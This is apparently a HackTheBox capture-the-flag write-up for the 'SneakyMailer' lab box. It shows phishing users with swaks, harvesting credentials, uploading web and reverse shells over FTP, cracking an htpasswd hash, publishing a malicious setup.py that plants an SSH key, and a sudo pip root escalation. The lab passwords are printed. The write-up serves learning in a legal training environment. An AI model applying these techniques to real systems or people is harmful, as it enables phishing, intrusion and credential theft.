HackTheBox - SneakyMailer

— Written by — 12 min read
SneakyMailer HackTheBox

SneakyMailer just retired on Hackthebox, it’s a Medium difficulty Linux box created by sulcud.
This box reminded me of a few other one like Chaos where you have to access victims SMTP credentials and Registry for the package installer instance to exploit.
In the end it’s a very well designed box that allowed me to play with SMTP and PyPi package manager. Highly recommended.

Tl;Dr: In order to get the user flag you had use the list of users emails from the website to send phishing emails. One user will input his credentials, allowing us to connect to his mailbox and retrieve the FTP password of a developer account in his mails. From there we can upload a PHP reverse shell to get a shell as developer user. At this point you can access a PyPi server instance, create and upload a malicious package in order to get access to low user and get the flag.
To get the root flag you had to exploit a sudo configuration allowing to run pip command as root. To do so you create another malicious setup.py package that will spawn a privileged shell since it’s run as root.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.197 sneakymailer.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[[email protected] ~]$ nmap -sV -sT -sC sneakymailer.htb
Nmap scan report for sneakymailer.htb (10.10.10.197)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://sneakycorp.htb
143/tcp open imap Courier Imapd (released 2018)
993/tcp open ssl/imap Courier Imapd (released 2018)
8080/tcp open http nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Service Info: Host: debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 45.92 seconds

We have a few interesting port open, two HTTP port on 80 and a nginx proxy on port 8080.

Opening http://sneakymailer.htb redirect to http://sneakycorp.htb which displays the following page:

sneakymailer homepage

We get a few interesting informations, stating that a POP3 and SMTP are complete and that it’s possible to install Python pip module on the servers.

The “Team” page allows us to list users and their emails address:

sneakymailer team page

Let’ continue our recon, the homepage state Python package can be installed to the server, yet we didn’t find any mentions of pipy or some kind of module. Let’s run gobuster in vhost mode to see if any Virtual Host exist that can be interesting:

1
2
3
4
5
6
[[email protected] ~]$ gobuster vhost -u sneakycorp.htb -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]

We got a dev version of the website, opening it display the exact same site but with a register function added at http://dev.sneakycorp.htb/pypi/register.php.

While registering doesn’t seems to do anything the URL let us guess it’s a package installed with pypi. Let’s move on.

Seeing all the emails addresses we have available, port 25 SMTP open and the name of the box it might be a good start to try phishing some users to get their credentials.

Extract users email list

First let’s go back to the main site and extract all the user emails, we can use cewl for this task.

1
2
3
4
5
[[email protected] ~]$ ./cewl.rb -e --email_file sneaky-emails.txt http://sneakycorp.htb/team.php
[[email protected] ~]$ cat sneaky-emails.txt
[email protected]
[email protected]
...

Phishing through SMTP

Given the fact we are in a CTF scenario there is probably no need to create a real phishing page (even though it wouldn’t be hard). To start off let’s try to send a simple link to users by emails and see if anything connect back to it.

Let’s open our listener on port 80:

1
2
[[email protected] ~]$ sudo nc -lvnp 80
[sudo] password for hg8:

We have plenty of solutions to send SMTP, I will go with a simple way using swaks in a little bash script.

1
2
3
while read email; do
swaks --to $email --from [email protected] --header "Subject: Please login to my phishing site" --body "Here -> http://10.10.14.7/" --server 10.10.10.197
done <sneaky-emails.txt

After a little wait Paul bite the bait:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ sudo nc -lvnp 80
Connection from 10.10.10.197:47314
POST / HTTP/1.1
Host: 10.10.14.7
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Let’s urldecode the password using Python:

1
2
3
4
5
[[email protected] ~]$ python
Python 3.8.3 (default, May 17 2020, 18:15:42)
>>> import urllib.parse
>>> urllib.parse.unquote("%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt")
'^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht'

We got the following credentials:

1
[email protected]:^(#[email protected][%KhIxKk(Ju`hqcHl<:Ht

We don’t have any entry points so far except SMPT so let’s login to Paul account to see if we can find interesting emails. To do so we can use evolution (apt install evolution gamin).

Since I don’t have GUI on my CTF/Pentest box I gave a try to HackTheBox pwnbox which was quite nice and perfect to use for this kind of scenarios.

We configure Paul account with the informations we got:

sneakymailer smtp connection

Upon synchronisation we find an interesting email in the Sent folder:

From: Paul Byrd paulbyrd@sneakymailer.htb
To: root <[email protected]>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500

Hello administrator, I want to change this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it

Access FTP Dev server

nmap scan revealed open FTP port. Now that we have a developper credential maybe we can login to it:

1
2
3
4
5
6
7
8
9
[[email protected] ~]$ ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:hugo): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

Bingo, we have access to what seems to be the development website we found earlier (http://dev.sneakycorp.htb):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ftp> ls
150 Here comes the directory listing.
drwxrwxr-x 8 0 1001 4096 Jun 30 01:15 dev
226 Directory send OK.
ftp> cd dev
250 Directory successfully changed.
ftp> ls
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 May 26 19:52 css
drwxr-xr-x 2 0 0 4096 May 26 19:52 img
-rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php
drwxr-xr-x 3 0 0 4096 May 26 19:52 js
drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi
drwxr-xr-x 4 0 0 4096 May 26 19:52 scss
-rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php
drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor

PHP Reverse Shell

With our FTP access we have the possibility to upload files. It’s the perfect scenario to upload a PHP Web Shell.
To generate the reserve shell I will use the excellent weevely:

1
2
[[email protected] ~]$ python weevely.py generate h4ckTheB0x hg8.php
Generated 'hg8.php' with password 'h4ckTheB0x' of 685 byte size.

And upload it through FTP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[[email protected] ~]$ ftp sneakymailer.htb
Connected to sneakymailer.htb.
220 (vsFTPd 3.0.3)
Name (sneakymailer.htb:hugo): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd dev
250 Directory successfully changed.
ftp> put hg8.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
685 bytes sent in 0.000195 seconds (3.35 Mbytes/s)

We should now be able to connect to the web shell (still using weevely):

1
2
3
4
[[email protected] ~]$ python weevely.py http://dev.sneakycorp.htb/hg8.php h4ckTheB0x

[email protected]:/var/www/dev.sneakycorp.htb/dev $ whoami
www-data

Unfortunately a clean-up script seems to remove any file uploaded to the server, cutting our webshell connection. To circumvent this workflow let’s upload a PHP reserve shell opener instead (like this one for example).

Let’s open our listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

Drop our new PHP file and call it to trigger the reverse shell:

1
[[email protected] ~]$ curl http://dev.sneakycorp.htb/hg8.php

And bingo we get a new connection:

1
2
3
4
5
6
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.197:48434
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux
[email protected]:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Pivot www-data -> developer

First let’s pivot to developer account (with the credentials we found earlier) since it have more privileges than www-data:

1
2
3
4
5
[email protected]:/$ su - developer
Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

[email protected]:~$ id
uid=1001(developer) gid=1001(developer) groups=1001(developer)

Looking at the /home/ folder we can see that low have the user.txt flag:

1
2
3
4
5
[email protected]:/home/low$ ls -l
ls -l
total 8
-rwxr-x--- 1 root low 33 Jul 18 05:53 user.txt
drwxr-xr-x 6 low low 4096 May 16 03:33 venv

Let’s now start looking around for anything that could help us pivoting to low user.

Pivot developer -> low

While searching in the /var/www folder we notice a subdomain we missed pypi.sneakycorp.htb subdomain:

1
2
[email protected]:/$ ls /var/www/
dev.sneakycorp.htb html pypi.sneakycorp.htb sneakycorp.htb

Let’s add it to our hosts file and take a look:

1
2
3
4
5
6
7
8
[[email protected] ~]$ curl http://pypi.sneakycorp.htb/ -I
HTTP/1.1 301 Moved Permanently
Server: nginx/1.14.2
Date: Sat, 18 Jul 2020 11:56:25 GMT
Content-Type: text/html
Content-Length: 185
Connection: keep-alive
Location: http://sneakycorp.htb

Nothing there unfortunately, but maybe it’s on port 8080 returned earlier by nmap ?

pypi server

This is interesting, we have a way to create and upload our own Python packages.

Cracking PyPi server htpasswd

Reading through the documentation of pypiserver we find that it’s possible to protect package upload with an .htpasswd authentification.

Indeed while searching the folder we find it:

1
2
3
4
5
6
7
8
9
10
[email protected]:/var/www/pypi.sneakycorp.htb$ ls -la
total 20
drwxr-xr-x 4 root root 4096 May 15 14:29 .
drwxr-xr-x 6 root root 4096 May 14 18:25 ..
-rw-r--r-- 1 root root 43 May 15 14:29 .htpasswd
drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages
drwxr-xr-x 6 root pypi 4096 May 14 18:25 venv

[email protected]:/var/www/pypi.sneakycorp.htb$ cat .htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

Let’s run john on this hash to see if we can find the password:

1
2
3
4
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt pypihash                       Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
soufianeelhaoui (pypi)
Session completed

Bingo we got credentials to install python package remotely to the server: pypi:soufianeelhaoui.

Creating malicious Python Package

Now that we have the credentials and access to the PyPi server let’s create and upload a simple malicious package.

An easy way to use it to pivot to low user would be to add our SSH key its authorized_key file.

Following the documentation on PyPi server we can create the following setuptools:

Setuptools is a fully-featured, actively-maintained, and stable library designed to facilitate packaging Python projects.

First let’s create our .pypirc:

1
2
3
4
5
6
7
[distutils]
index-servers = local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

Then the malicious setup.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import setuptools

try:
with open("/home/low/.ssh/authorized_keys", "a") as f:
f.write("\nssh-rsa AAAAB3NXXXXO2E= [email protected]")
f.close()
except Exception as e:
pass
setuptools.setup(
name="hg8",
version="0.0.1",
author="hg8.sh",
author_email="[email protected]",
description="A small example package",
url="https://github.com/pypa/sampleproject",
packages=setuptools.find_packages(),
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)

Let’s upload both files on the server:

1
2
3
4
5
[email protected]:/tmp/.hg8$ wget 10.10.14.15:8000/.pypirc
‘.pypirc’ saved [128/128]

[email protected]:/tmp/.hg8$ wget 10.10.14.15:8000/setup.py
‘setup.py’ saved [1138/1138]

To have our .pypirc taken in account we have to change the $HOME environment variable to our own folder:

1
2
3
[email protected]:/tmp/.hg8$ HOME=$(pwd)
[email protected]:~$ echo $HOME
/tmp/.hg8

Then we should be able to run the setup.py script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[email protected]:~$ python3 setup.py sdist upload -r local
running sdist
running egg_info
creating hg8.egg-info
writing hg8.egg-info/PKG-INFO
writing dependency_links to hg8.egg-info/dependency_links.txt
writing top-level names to hg8.egg-info/top_level.txt
writing manifest file 'hg8.egg-info/SOURCES.txt'
reading manifest file 'hg8.egg-info/SOURCES.txt'
writing manifest file 'hg8.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
creating hg8-0.0.1
creating hg8-0.0.1/hg8.egg-info
copying files to hg8-0.0.1...
copying setup.py -> hg8-0.0.1
copying hg8.egg-info/PKG-INFO -> hg8-0.0.1/hg8.egg-info
copying hg8.egg-info/SOURCES.txt -> hg8-0.0.1/hg8.egg-info
copying hg8.egg-info/dependency_links.txt -> hg8-0.0.1/hg8.egg-info
copying hg8.egg-info/top_level.txt -> hg8-0.0.1/hg8.egg-info
Writing hg8-0.0.1/setup.cfg
creating dist
Creating tar archive
removing 'hg8-0.0.1' (and everything under it)
running upload
Submitting dist/hg8-0.0.1.tar.gz to http://pypi.sneakycorp.htb:8080
Server response (200): OK

Looks like everything went fine, we should be able to login using our SSH key to low account:

1
2
3
4
5
6
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105
[email protected]:~$ cat user.txt
dxxxxxxxxxxxxxxxxxxxxxx3

Root FLag

Recon

The usual recon return an interesting sudo entry that can run command as root without password:

1
2
3
4
5
6
7
[email protected]:/tmp$ sudo -l
Matching Defaults entries for low on sneakymailer:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
(root) NOPASSWD: /usr/bin/pip3

Pip privilege escalation

Let’s see on GTFObins if we can find a way to exploit pip3 to get a shell or arbitrary file read/write in order to escalate our privileges to root.
Bingo, there is one way:

If pip runs in privileged context it may be used to access the file system, escalate or maintain access with elevated privileges.
https://gtfobins.github.io/gtfobins/pip/

Let’s give it a try using the example provided to spawn a privileged interactive shell:

1
2
3
4
5
6
7
8
[email protected]:/tmp$ TF=$(mktemp -d)
[email protected]:/tmp$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
[email protected]:/tmp$ sudo /usr/bin/pip3 install $TF
Processing ./tmp.1DjWlARdXF
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
bxxxxxxxxxxxxxxxxxxxxxxxx6

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxMedium Box
, , , , , , , , , , , , ,